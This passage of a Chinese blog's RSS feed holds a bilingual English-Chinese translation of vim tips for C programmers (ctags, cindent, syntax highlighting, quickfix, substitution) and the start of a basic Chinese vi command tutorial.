, NEdit等等)协同工作. 正确地使用它, 会给你的编程工作带来极大的便利, 尤其是你在<BR>
开发一个大的项目时.</PRE></DIV><PRE>For more information: View the man page, man ctags, or view the vim help<BR>
, :h ctags. <BR>
</PRE><BR>
<DIV class=trans><PRE>关于ctags程序的更多用法, 请参看它的相关帮助页, man ctags, 或者通过vim的<BR>
在线帮助系统查看它的用法, :h ctags</PRE></DIV><PRE>c-style indenting<BR>
</PRE><BR>
<DIV class=trans><PRE>c语言风格的缩进</PRE></DIV><PRE>Vi has various methods of implementing auto-indenting. The best for C and<BR>
 C++ programmers is, obviously, cindent mode. This is a very versatile tool<BR>
 which gives the programmer much control over the look and feel of his source<BR>
 code, without any effort (except the effort of initial setup, of course<BR>
). To enable c-indenting, just type ':set cindent' from the command mode<BR>
.&nbsp;&nbsp;The most important thing to note is that cindenting makes use of shiftwidth<BR>
, not tabstops. The default shiftwidth is 8. In order to change this,&nbsp;&nbsp;enter<BR>
 ':set shiftwidth=x' where x is the desired number of spaces to shift. <BR>
</PRE><BR>
<DIV class=trans><PRE>Vi有几种不同的方法实现自动缩进. 对于C/C++程序员来说, 最好的方法显然是<BR>
cindent模式, 该模式具有多种功能帮助程序员美化程序的外观, 无需任何额外的<BR>
工作(当然, 设置正确的模式:se cindent是必需的). 欲打开该模式, 只需键入命<BR>
令:set cindent(所有的set都可以简写为se, 虽然只节省了一个字符, 译者注)<BR>
需要注意的是cindent控制缩进量是通过shiftwidth选项的值, 而不是通过tabstop<BR>
的值, shiftwidth的默认值是8(也就是说, 一个缩进为8个空格, 译者注), 要改变<BR>
默认的设置, 可以使用`:set shiftwidth=x'命令, 其中x是你希望一个缩进量代表<BR>
的空格的数目.</PRE></DIV><PRE>The default cindent options tend to be nice, but if you find your program<BR>
 indenting in some way that is annoying, you can modify the behaviour. To<BR>
 set the cindent options, type ':set cino=string', where string is a<BR>
 list defining exactly how you want your cindent options to behave. There<BR>
 are quite a few different types of indenting which can be done, and vim<BR>
's help does a good job explaining them, so I won't go over them here. To<BR>
 view the help for the possible values of cinoptions, type ':h cinoptions<BR>
-values'. To view the current values, simply type ':set cino'. Most likely<BR>
 there will be none, since everything starts at a default value. <BR>
</PRE><BR>
<DIV class=trans><PRE>cindent的默认设置选项一般来说是比较可人的, 但如果你的程序有特殊需求, 也<BR>
可以改变它, 设置cindent的选项, 通过`:set cino=string'选项(其中, string<BR>
 是要用户自己键入的字符串, 译者), string定义了一个列表, 该列表决定了你<BR>
的cindent的行为. 你可以定义多种indent类型, vim的帮助对此有很详细的说明.<BR>
欲查找关于该主题的帮助, 使用命令`:h cinoptions-values'. 要想查看当前的<BR>
设置值, 可以使用命令`:set cino'.</PRE></DIV><PRE>For more information, check out the following: ':h shiftwidth', ':h cindent<BR>
', ':h cinoptions', ':h cinoptions-values', ':h cinkeys', and ':h cinwords<BR>
'. <BR>
</PRE><BR>
<DIV class=trans><PRE>要了解更多的细节, 可以使用在线帮助`:h shiftwidth', ':h cindent', `:h <BR>
cinoptions', `:h cinoptions-values', `:h cinkeys', 和`:h cinwords'</PRE></DIV><PRE>syntax highlighting<BR>
</PRE><BR>
<DIV class=trans><PRE>语法高亮</PRE></DIV><PRE>Programmers who are used to integrated development environments know the<BR>
 beauty of syntax highlighting. It doesn't just make your code more readable<BR>
; it also helps prevent annoying commenting and string errors. Vim has syntax<BR>
 highlighting for a number of languages, including C and C++ of course. To<BR>
 enable it, type ':syntax on'. Using it is as simple as that if you're happy<BR>
 with the default values.&nbsp;&nbsp;Vim's syntax highlighting tools can be quite complex<BR>
, with a number of different things to play around with. To view information<BR>
 on syntax hilighting, type ':h syntax', which will lead you to vim's extensive<BR>
 help system. Syntax hilighting with color terminals and with gvim is nice<BR>
, but if you don't have color, vim uses underlining, boldface, etc. To me<BR>
, this is pretty ugly. <BR>
</PRE><BR>
<DIV class=trans><PRE>用过集成开发环境的程序员都知道语法高亮的妙处所在, 它不光使你的代码更具<BR>
可读性, 它也使你免于拼写错误, 使你明确注释的范围, Vim对多种语言都有语法<BR>
高亮的功能, 当然, C/C++一定包括在内, 打开语法高亮功能, 可使用命令`:syntax on'.<BR>
如果你觉得默认的设置已经够好了, 使用它就是如此简单. Vim的语法高亮工具也<BR>
可以十分复杂, 拥有众多选项. 要了解更多的细节, 可通过命令`:h syntax'查看<BR>
在线帮助, 在支持彩色的终端上或者使用gvim(vim的GUI版, 增强了一些功能, 译<BR>
者注), 但如果你当前的环境不支持彩色显示, vim会使用下划线, 粗体字, 试图<BR>
进行等效的替代, 但对我而言, 这样太难看了.</PRE></DIV><PRE>For more information:&nbsp;&nbsp;':h syntax', ':h syn-qstart', ':h syntax-printing<BR>
' <BR>
</PRE><BR>
<DIV class=trans><PRE>要了解更详细的内容, 可通过命令`:h syn-gstart', ':h syntax-printing'查看<BR>
在线帮助</PRE></DIV><PRE>edit-compile-edit, a.k.a. Quickfix<BR>
</PRE><BR>
<DIV class=trans><PRE>编辑-编译-再编辑</PRE></DIV><PRE>This is a really nifty feature.&nbsp;&nbsp;Basically, by typing one command, you can<BR>
 cause vim to attempt to make the program you're working on, then open to<BR>
 whatever file first compiler error is in at the line of that error. The<BR>
 command to execute is ':mak' (or ':make'). Vim will run whatever program<BR>
 is denoted by the value of 'makeprg'. The default value for 'makeprg' is<BR>
 'make'. You can change this, if you wish, by typing ':set makeprg=', where<BR>
 string denotes the desired command. Vim uses the 'errorformat' value to<BR>
 figure out how to understand the output from the compiler. Since different<BR>
 compilers have different output format's, you'll probably have to enter<BR>
 the format string. The method used is rather similar to C-style formatting<BR>
 with scanf. The most important format specifiers are %f, meaning filename<BR>
, %l, meaing line-number, and %m, meaning message. <BR>
</PRE><BR>
<DIV class=trans><PRE>这实在是极好的功能, 其基本功能是, 你可能不用离开当前编辑环境, 通过指定<BR>
一个命令, 就可以编译你当前编辑的项目, 然后, 如果编译时因发生错误而中断, <BR>
vim将会打开第一个发生错误的文件并定位于引起错误的行上. 这一命令就是`:mak'<BR>
(或者':make'). vim将会运行由选项makeprg指定的make程序, 它的默认值就是<BR>
make(已经够好用了, 译者注). 如果愿意的话, 你也可以使用命令`:set makeprg<BR>
=string'改变项目维护工具(比如, 在VC下使用nmake, :set makeprg=nmake.exe<BR>
, 译者注), <BR>
vim使用选项`errorformat'的设置去解析编译嚣输出的错误信息的格式. 由于不同<BR>
的编译嚣有不同的错误信息格式, 所以可能需要显式地指定错误信息的格式. 选项<BR>
`errorformat'的设置使用与c函数scanf风格类似的语法, 最重要的是指定%f, 代<BR>
表文件名, %l, 行号, %m, 错误信息.</PRE></DIV><PRE>GCC's format string: %f:%l:\%m <BR>
</PRE><BR>
<DIV class=trans><PRE>GCC格式的errorformat设置:%f:%l:\%m</PRE></DIV><PRE>This can become quite complex with different compilers, but fortunately, vim<BR>
 has a world of information in their help at ':h errorformat'. <BR>
</PRE><BR>
<DIV class=trans><PRE>有些编译器的errorformat可能十分复杂, 但好在vim对此提供了完整的在线帮助<BR>
':h errorformat'.</PRE></DIV><PRE>For more information, check out: ':h quickfix', ':h mak', ':h makeprg',&nbsp;&nbsp;':h<BR>
 errorfile', ':h errorformat'. <BR>
</PRE><BR>
<DIV class=trans><PRE>要了解其它细节, 可用命令`:h quickfix', `:h mak', `:h makeprg', `:h errorfile<BR>
', <BR>
`:h errorformat'查看相应的帮助.</PRE></DIV><PRE>useful keystrokes<BR>
</PRE><BR>
<DIV class=trans><PRE>有用的快捷按键</PRE></DIV><PRE>There are certain command-mode keystrokes that are especially useful for<BR>
 programmers. Below is a small subset of these: <BR>
</PRE><BR>
<DIV class=trans><PRE>有一些快捷按键对程序员而言特别有用, 下面是其中的一部分:</PRE></DIV><PRE>Moving around within functions: <BR>
</PRE><BR>
<DIV class=trans><PRE>在函数中移动</PRE></DIV><PRE>[ [&nbsp; &nbsp;= Go to previous first-column '{';&nbsp; &nbsp;equivalent to ?^{ <BR>
</PRE><BR>
<DIV class=trans><PRE>移动到前一个行首的'{'字符上, 等价于?^{</PRE></DIV><PRE>] ]&nbsp; &nbsp;= Go to next first-column '{';&nbsp; &nbsp;equivalent to /^{ <BR>
</PRE><BR>
<DIV class=trans><PRE>移动到下一个行首的'{'字符上, 等价于/^{</PRE></DIV><PRE>[ ]&nbsp; &nbsp;= Go to previous first-column '}';&nbsp; &nbsp;equivalent to ?^} <BR>
</PRE><BR>
<DIV class=trans><PRE>移动到前一个行首的'}'字符上, 等价于?^}</PRE></DIV><PRE>] [&nbsp;&nbsp;= Go to next first-column '}';&nbsp; &nbsp;equivalent to /^} <BR>
</PRE><BR>
<DIV class=trans><PRE>移动到下一个行首的'}'字符上, 等价于?^}</PRE></DIV><PRE>{&nbsp; &nbsp;= Go to previous blank line. <BR>
</PRE><BR>
<DIV class=trans><PRE>到前一个空行上</PRE></DIV><PRE>}&nbsp; &nbsp;= Go to next blank line. <BR>
</PRE><BR>
<DIV class=trans><PRE>到下一个空行上</PRE></DIV><PRE>gd&nbsp; &nbsp;= Go to definition of current local variable&nbsp;&nbsp;(current = cursor<BR>
 is on it) <BR>
</PRE><BR>
<DIV class=trans><PRE>到当前局部变量的定义处(当前的意思是光标停留其上的单词).</PRE></DIV><PRE>*&nbsp; &nbsp;= Go to next instance of current word <BR>
</PRE><BR>
<DIV class=trans><PRE>到与当前单词相同的下一个单词上</PRE></DIV><PRE>#&nbsp; &nbsp;= Go to previous instance of current word <BR>
&nbsp; &nbsp; ''&nbsp; &nbsp;= Go to location where last search was started. <BR>
</PRE><BR>
<DIV class=trans><PRE>到与当前单词相同的上一个单词上</PRE></DIV><PRE>Parenthesis Matching: <BR>
%&nbsp; &nbsp;Takes you to the matching parenthesis, curly brace, or bracket, depending<BR>
 on what you are on. This always comes in handy as a quick double-check. <BR>
</PRE><BR>
<DIV class=trans><PRE>括号匹配:<BR>
%&nbsp; &nbsp; &nbsp; &nbsp; 可以让光标从它当前所在的括号跳转到与它相匹配的括号上去, 对花括号和<BR>
圆括号, 方括号都有效, 常用于手工检查括号是否匹对.</PRE></DIV><PRE>Substution: <BR>
Vim has powerful substition capabilities,&nbsp;&nbsp;with a very simple interface.&nbsp;&nbsp;No<BR>
 annoying GUI to get in the way (though you may need to keep a cheat-sheet<BR>
 handy). To search for and replace text, use the following command: <BR>
</PRE><BR>
<DIV class=trans><PRE>替换操作:<BR>
Vim具有强大的字符串替换功能, 操作起来十分简单, 不需惹人生厌的GUI(图形用<BR>
户界面), 查找并替换文本, 可以使用下面的命令:</PRE></DIV><PRE>:&nbsp;&nbsp;[address] s/<PATTERN><BR>
/string/[g|c|N] (where N is an integer value). <BR>
</PRE><BR>
<DIV class=trans><PRE>(其中的N是一个整数值).</PRE></DIV><PRE>This finds one (or more) instance of the grep-style regular expression represented<BR>
 by <PATTERN><BR>
, and substitutes it with string.&nbsp;&nbsp;'address', 'g', and 'N<BR>
' are modifiers which determine which and how many occurances of <PATTERN><BR>
 are replaced. <BR>
</PRE><BR>
<DIV class=trans><PRE>此命令查找由grep风格的正则表达式指定的匹配模式<PATTERN><BR>
, 并将其替换为由<BR>
string指定的字符串, `address', `g', 和`N' 是对命令的补充选项, 它们分别<BR>
决定了命令的作用范围, 是只替换第一个匹配的字符串还是替换所有匹配的字符串,<BR>
只替换每行中第N次匹配的字符串.</PRE></DIV><PRE>g = Global:&nbsp; &nbsp; Replace all occurances of <PATTERN><BR>
 on the line. <BR>
</PRE><BR>
<DIV class=trans><PRE>全部:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 替换每行中所有匹配的字符串.</PRE></DIV><PRE>c = Cond.&nbsp; &nbsp;&nbsp; &nbsp;Ask before making each replacement. <BR>
</PRE><BR>
<DIV class=trans><PRE>询问.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 在每次替换之前询问用户是否确定要进行替换.</PRE></DIV><PRE>N = Nth&nbsp; &nbsp; Replace only the Nth occurance of <PATTERN><BR>
 on the line. <BR>
</PRE><BR>
<DIV class=trans><PRE>第N次&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 只替换在一行中第N个匹配的字符串(如:s/zhao/slimzhao/2, 而<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 当前行的内容是zhao zhao zhao, 则替换后的内容为zhao slimzhao zhao, 译<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 者注)</PRE></DIV><PRE>(No modifier implies N=1, the first occurance on that line) <BR>
</PRE><BR>
<DIV class=trans><PRE>(如果没有指定这些辅助修饰标志, 则vim默认为只替换一行中第一个匹配的字符串<BR>
) (即等价于address1, address2s/<PARTERN><BR>
/string/1, 译者注)</PRE></DIV><PRE>[address values]&nbsp; &nbsp; -May be one specifier or two seperated by a comma.&nbsp;&nbsp;(below<BR>
,&nbsp;&nbsp;x represents an integer). <BR>
</PRE><BR>
<DIV class=trans><PRE>可以是一个或是由逗号分开的两个辅助修改标志. (下面的x代表一个整数)</PRE></DIV><PRE>. = The current line <BR>
</PRE><BR>
<DIV class=trans><PRE>表示当前行(即光标所在的行, 译者注)</PRE></DIV><PRE> $ = The last line in the file <BR>
</PRE><BR>
<DIV class=trans><PRE>当前文件的最后一行</PRE></DIV><PRE>% = Entire file <BR>
</PRE><BR>
<DIV class=trans><PRE>整个文件(即对每一行, 等价于1, $, 译者注)</PRE></DIV><PRE>x = The xth line of the file <BR>
</PRE><BR>
<DIV class=trans><PRE>当前文件的第x行</PRE></DIV><PRE>+x = x lines after the current line <BR>
</PRE><BR>
<DIV class=trans><PRE>从当前行开始下面的第x行(如果当前行为第1行, 则+3 代表第4行)</PRE></DIV><PRE>-x = x lines before the current line <BR>
</PRE><BR>
<DIV class=trans><PRE>从当前行开始上面的第x行(如果当前行为第4行, 则-3 代表第1行)</PRE></DIV><PRE>The comma may seperate any of the above in order to specify a range. All<BR>
 lines within the given range will undergo the substitution. The best reference<BR>
 I have found for&nbsp;&nbsp;subsituting can be found at the Vi Helpfile, linked below<BR>
. <BR>
</PRE><BR>
<DIV class=trans><PRE>逗号用于分隔任何上面指定的单个行, 以形成一个范围(当然, 这个范围的下界不<BR>
能小于上界, 如10,1为非法的范围, 此时vim会给出一个警告信息, 问你是否进行<BR>
反向操作, 如回答y, 则等价于1,10, 操作仍正常进行, 否则, 撤消当前操作, <BR>
译者注), 其后指定的操作将作用于此处给出的范围, vim帮助里有关于替换操作<BR>
的充分信息.</PRE></DIV><PRE>Miscellany <BR>
Vim has so many nifty little things, it would be impossible to list them<BR>
 all. Here are a few more things that are worth taking a look at. <BR>
</PRE><BR>
<DIV class=trans><PRE>其它杂项<BR>
Vim有众多诱人的小功能, 这里不可能一一列出, 下面列出一些尤其值得注意的一<BR>
些特性.</PRE></DIV><PRE>Include File Searching-&nbsp;&nbsp;':h include-search' <BR>
</PRE><BR>
<DIV class=trans><PRE>包含文件搜索-&nbsp; &nbsp; &nbsp; &nbsp; `:h include-search'</PRE></DIV><PRE>Bookmarking-&nbsp;&nbsp;'mx' to set,&nbsp;&nbsp;' 'x' to return; (x can be any letter, must stay<BR>
 within file to remember) <BR>
</PRE><BR>
<DIV class=trans><PRE>书签设置-&nbsp; &nbsp; &nbsp; &nbsp; 'mx'用于设置书签, ''x'用于从书签返回;(其中的x可以为任何字母,<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 但, 只能记录当前文件里的书签) (退出vim后再次进入将不会保留这些书签,<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 书签就是代表在文件中某一特定位置的一种标记, 译者注)</PRE></DIV><PRE>"Clipboard" buffers-&nbsp;&nbsp;' "xY '&nbsp;&nbsp;to cut or copy to&nbsp;&nbsp;buffer x (Y represents<BR>
 any normal deletion or yank command),&nbsp;&nbsp;' "xZ '&nbsp;&nbsp;to paste contents of x (Z<BR>
 represents pasting... p or P);&nbsp;&nbsp;(x can be any letter, can switch to another<BR>
 file(:e filename) and still maintain contents of buffers). <BR>
</PRE><BR>
<DIV class=trans><PRE>"剪贴板" 缓冲-&nbsp; &nbsp; &nbsp; &nbsp; ' "xY ' 用于剪切或复制到一个名为x的缓冲区(Y 代表任何的<BR>
删除或取样命令), ' "xZ ' 用于粘贴内容(Z代表粘贴命令p 或 P); (其中x可以为<BR>
任何字母, 也可在跳转到另一文件中时继续生效(:e filename).</PRE></DIV><PRE>Comment Specifiers-&nbsp; &nbsp;&nbsp;&nbsp;':h comments' <BR>
</PRE><BR>
<DIV class=trans><PRE>注释符-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; `:h comments'</PRE></DIV><PRE>.vimrc-&nbsp; &nbsp; Don't forget your .vimrc!!! (Located in your home directory). You<BR>
'll find it very handy to add many of the above things to your .vimrc file<BR>
, so that vim "remembers" everything you want it to. (You may find that some<BR>
 of them are already there.) Remember that you don't need to prepend a ':' to<BR>
 the command when adding them to the .vimrc. <BR>
</PRE><BR>
<DIV class=trans><PRE>.vimrc-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 别忘了你的.vimrc文件(在你用户目录中~/.vimrc). 该文件可用于<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 记录上面你所做的大多数设置, 记住在.vimrc文件中无需在每个命令前使用一<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 个冒号":".(在DOS下的vim中, .vimrc文件放于vim程序所在的目录中, 且, 此<BR>
&nbsp; &nbsp; &nbsp; &nbsp; 时不叫.vimrc, 叫_vimrc, 另, .vimrc也可为.exrc, _vimrc也可为_exrc)</PRE></DIV><PRE>Other Resources<BR>
X_Console has written a really nice&nbsp;&nbsp;Vi Crash Course NHF , which should help<BR>
 you get over the learning curve, if you're just starting out. <BR>
There are many, many webpages around with information on Vi/Vim, some good<BR>
, some not so good (depending on what level you're looking for). A search<BR>
 for Vi or Vim at Google or any other search engine will turn up plenty of<BR>
 results.&nbsp;&nbsp;In my opinion, these are two of the best: <BR>
</PRE><BR>
<DIV class=trans><PRE>其它资源<BR>
X_Console(此处不知如何翻译, 译者注)上有一个非常好的vi教程, 如果你要开始<BR>
学习使用vi, 就从这里开始吧.<BR>
因特网上有非常多的关于vi/vim信息的网页, 有好有坏(好坏也看你的水平如何了)<BR>
在Google或其它搜索引擎上查找vi或vim会找到非常多的搜索结果, 我个人觉得<BR>
下面两个是最好的</PRE></DIV><PRE>THE VI LOVER'S HOMEPAGE&nbsp; &nbsp;&nbsp;&nbsp;- Many links, lots of info... <BR>
</PRE><BR>
<DIV class=trans><PRE>VI爱好者主页&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - 链接多多, 信息多多...</PRE></DIV><PRE>The VI Helpfile&nbsp;&nbsp;- Very comlete, terse reference. Great for ex commands. <BR>
</PRE><BR>
<DIV class=trans><PRE>VI帮助文件&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -非常完整而简练的一份参考手册, 特别是ex命令.</PRE></DIV><PRE>Unixworld Vi Tutorial&nbsp;&nbsp;-&nbsp;&nbsp;Nine parts, from start to finish... Go through<BR>
 this and you'll understand why we love Vi. <BR>
</PRE><BR>
<DIV class=trans><PRE>Unix世界Vi教程-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 九部分, 从开始到结束...看了就知道, 我们为什么喜<BR>
欢VI.</PRE></DIV><PRE>This file was created by Keith Jones (<A href="mailto:kmj9907@cs.rit.edu"><FONT color=#000000>kmj9907@cs.rit.edu</FONT></A>); I'm no expert<BR>
 on vim, but I hope some of the above was helpful. Enjoy!!! <BR>
</PRE><BR>
<DIV class=trans><PRE>本文由Keith Jones(<A href="mailto:kmj9907@cs.rit.edu"><FONT color=#000000>kmj9907@cs.rit.edu</FONT></A>)写就; 我不是vim专家, 但我希望上面<BR>
的一些内容对大家有所帮助. 希望大家喜欢!!!</PRE></DIV></SPAN></TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/RR00/aggbug/23295.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/RR00/" target="_blank">R.Zeus</a> 2005-12-10 20:57 <a href="http://www.blogjava.net/RR00/articles/23295.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Vi编辑器的基本使用方法- -</title><link>http://www.blogjava.net/RR00/articles/23292.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sat, 10 Dec 2005 12:36:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23292.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23292.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23292.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23292.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23292.html</trackback:ping><description><![CDATA[<DIV><STRONG>1、vi的基本概念 <BR></STRONG>　　基本上vi可以分为三种状态，分别是命令模式（command mode）、插入模式（Insert mode）和底行模式（last line mode），各模式的功能区分如下： </DIV>
<DIV>&nbsp;&nbsp;&nbsp; 1) 命令行模式command mode） </DIV>
<DIV>　　控制屏幕光标的移动，字符、字或行的删除，移动复制某区段及进入Insert mode下，或者到 last line mode。 </DIV>
<DIV>&nbsp;&nbsp;&nbsp; 2) 插入模式（Insert mode） </DIV>
<DIV>　　只有在Insert mode下，才可以做文字输入，按「ESC」键可回到命令行模式。 </DIV>
<DIV>&nbsp;&nbsp;&nbsp; 3) 底行模式（last line mode） </DIV>
<DIV>　　将文件保存或退出vi，也可以设置编辑环境，如寻找字符串、列出行号……等。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;&nbsp;&nbsp; 不过一般我们在使用时把vi简化成两个模式，就是将底行模式（last line mode）也算入命令行模式command mode）。 </DIV>
<DIV><STRONG>2、vi的基本操作&nbsp;<BR></STRONG>a) 进入vi </DIV>
<DIV>&nbsp;&nbsp; 　在系统提示符号输入vi及文件名称后，就进入vi全屏幕编辑画面：</DIV>
<DIV>　　　$ vi myfile <BR>　　不过有一点要特别注意，就是您进入vi之后，是处于「命令行模式（command mode）」，您要切换到「插入模式（Insert mode）」才能够输入文字。初次使用vi的人都会想先用上下左右键移动光标，结果电脑一直哔哔叫，把自己气个半死，所以进入vi后，先不要乱动，转换到「插入模式（Insert mode）」再说吧！ </DIV>
<DIV>&nbsp;</DIV>
<DIV>b) 切换至插入模式（Insert mode）编辑文件 </DIV>
<DIV>　　在「命令行模式（command mode）」下按一下字母「i」就可以进入「插入模式（Insert mode）」，这时候你就可以开始输入文字了。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>c) Insert 的切换 </DIV>
<DIV>　　您目前处于「插入模式（Insert mode）」，您就只能一直输入文字，如果您发现输错了字！想用光标键往回移动，将该字删除，就要先按一下「ESC」键转到「命令行模式（command mode）」再删除文字。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>d) 退出vi及保存文件 </DIV>
<DIV>　　在「命令行模式（command mode）」下，按一下「：」冒号键进入「Last line mode」，例如： </DIV>
<DIV>: w filename （输入 「w filename」将文章以指定的文件名filename保存） </DIV>
<DIV>: wq (输入「wq」，存盘并退出vi) </DIV>
<DIV>: q! (输入q!， 不存盘强制退出vi) </DIV>
<DIV><BR>3、命令行模式（command mode）功能键 <BR>1）. 插入模式 </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 按「i」切换进入插入模式「insert mode」，按"i"进入插入模式后是从光标当前位置开始输入文件； </DIV>
<DIV>　　按「a」进入插入模式后，是从目前光标所在位置的下一个位置开始输入文字； </DIV>
<DIV>　　按「o」进入插入模式后，是插入新的一行，从行首开始输入文字。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>2）. 从插入模式切换为命令行模式 </DIV>
<DIV>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 按「ESC」键。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>3）. 移动光标 </DIV>
<DIV>　　vi可以直接用键盘上的光标来上下左右移动，但正规的vi是用小写英文字母「h」、「j」、「k」、「l」，分别控制光标左、下、上、右移一格。 </DIV>
<DIV>　　按「ctrl」+「b」：屏幕往"后"移动一页。 </DIV>
<DIV>　　按「ctrl」+「f」：屏幕往"前"移动一页。 </DIV>
<DIV>　　按「ctrl」+「u」：屏幕往"后"移动半页。 </DIV>
<DIV>　　按「ctrl」+「d」：屏幕往"前"移动半页。 </DIV>
<DIV>　　按数字「0」：移到文章的开头。 </DIV>
<DIV>　　按「G」：移动到文章的最后。 </DIV>
<DIV>　　按「$」：移动到光标所在行的"行尾"。 </DIV>
<DIV>　　按「^」：移动到光标所在行的"行首" </DIV>
<DIV>　　按「w」：光标跳到下个字的开头 </DIV>
<DIV>　　按「e」：光标跳到下个字的字尾 </DIV>
<DIV>　　按「b」：光标回到上个字的开头 </DIV>
<DIV>　　按「#l」：光标移到该行的第#个位置，如：5l,56l。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>4）. 删除文字 </DIV>
<DIV>　　「x」：每按一次，删除光标所在位置的"后面"一个字符。 </DIV>
<DIV>　　「#x」：例如，「6x」表示删除光标所在位置的"后面"6个字符。 </DIV>
<DIV>　　「X」：大写的X，每按一次，删除光标所在位置的"前面"一个字符。 </DIV>
<DIV>　　「#X」：例如，「20X」表示删除光标所在位置的"前面"20个字符。 </DIV>
<DIV>　　「dd」：删除光标所在行。 </DIV>
<DIV>　　「#dd」：从光标所在行开始删除#行 </DIV>
<DIV>&nbsp;</DIV>
<DIV>5）. 复制 </DIV>
<DIV>　　「yw」：将光标所在之处到字尾的字符复制到缓冲区中。 </DIV>
<DIV>　　「#yw」：复制#个字到缓冲区 </DIV>
<DIV>　　「yy」：复制光标所在行到缓冲区。 </DIV>
<DIV>　　「#yy」：例如，「6yy」表示拷贝从光标所在的该行"往下数"6行文字。 </DIV>
<DIV>　　「p」：将缓冲区内的字符贴到光标所在位置。注意：所有与"y"有关的复制命令都必须与"p"配合才能完成复制与粘贴功能。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>6）. 替换 </DIV>
<DIV>　　「r」：替换光标所在处的字符。 </DIV>
<DIV>　　「R」：替换光标所到之处的字符，直到按下「ESC」键为止。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>7）. 回复上一次操作 </DIV>
<DIV>　　「u」：如果您误执行一个命令，可以马上按下「u」，回到上一个操作。按多次"u"可以执行多次回复。 </DIV>
<DIV>&nbsp;</DIV>
<DIV>8）. 更改 </DIV>
<DIV>　　「cw」：更改光标所在处的字到字尾处 </DIV>
<DIV>　　「c#w」：例如，「c3w」表示更改3个字 </DIV>
<DIV>&nbsp;</DIV>
<DIV>9）. 跳至指定的行 </DIV>
<DIV>　　「ctrl」+「g」列出光标所在行的行号。 </DIV>
<DIV>　　「#G」：例如，「15G」，表示移动光标至文章的第15行行首。 </DIV>
<P>4、Last line mode下命令简介 <BR>　　在使用「last line mode」之前，请记住先按「ESC」键确定您已经处于「command mode」下后，再按「：」冒号即可进入「last line mode」。 </P>
<P>A) 列出行号 </P>
<P>　「set nu」：输入「set nu」后，会在文件中的每一行前面列出行号。 </P>
<P>B) 跳到文件中的某一行 </P>
<P>　「#」：「#」号表示一个数字，在冒号后输入一个数字，再按回车键就会跳到该行了，如输入数字15，再回车，就会跳到文章的第15行。 </P>
<P>C) 查找字符 </P>
<P>　「/关键字」：先按「/」键，再输入您想寻找的字符，如果第一次找的关键字不是您想要的，可以一直按「n」会往后寻找到您要的关键字为止。 </P>
<P>　「?关键字」：先按「?」键，再输入您想寻找的字符，如果第一次找的关键字不是您想要的，可以一直按「n」会往前寻找到您要的关键字为止。 </P>
<P>D) 保存文件 </P>
<P>　「w」：在冒号输入字母「w」就可以将文件保存起来。 </P>
<P>E) 离开vi </P>
<P>　「q」：按「q」就是退出，如果无法离开vi，可以在「q」后跟一个「!」强制离开vi。 </P>
<P>　「qw」：一般建议离开时，搭配「w」一起使用，这样在退出的时候还可以保存文件。 </P>
<P>5、vi命令列表 <BR>1、下表列出命令模式下的一些键的功能： </P>
<P>h <BR>左移光标一个字符 </P>
<P>l <BR>右移光标一个字符 </P>
<P>k <BR>光标上移一行 </P>
<P>j <BR>光标下移一行 </P>
<P>^ <BR>光标移动至行首 </P>
<P>0 <BR>数字"0"，光标移至文章的开头 </P>
<P>G <BR>光标移至文章的最后 </P>
<P>$ <BR>光标移动至行尾 </P>
<P>Ctrl+f <BR>向前翻屏 </P>
<P>Ctrl+b <BR>向后翻屏 </P>
<P>Ctrl+d <BR>向前翻半屏 </P>
<P>Ctrl+u <BR>向后翻半屏 </P>
<P>i <BR>在光标位置前插入字符 </P>
<P>a <BR>在光标所在位置的后一个字符开始增加 </P>
<P>o <BR>插入新的一行，从行首开始输入 </P>
<P>ESC <BR>从输入状态退至命令状态 </P>
<P>x <BR>删除光标后面的字符 </P>
<P>#x <BR>删除光标后的＃个字符 </P>
<P>X <BR>(大写X)，删除光标前面的字符 </P>
<P>#X <BR>删除光标前面的#个字符 </P>
<P>dd <BR>删除光标所在的行 </P>
<P>#dd <BR>删除从光标所在行数的#行 </P>
<P>yw <BR>复制光标所在位置的一个字 </P>
<P>#yw <BR>复制光标所在位置的#个字 </P>
<P>yy <BR>复制光标所在位置的一行 </P>
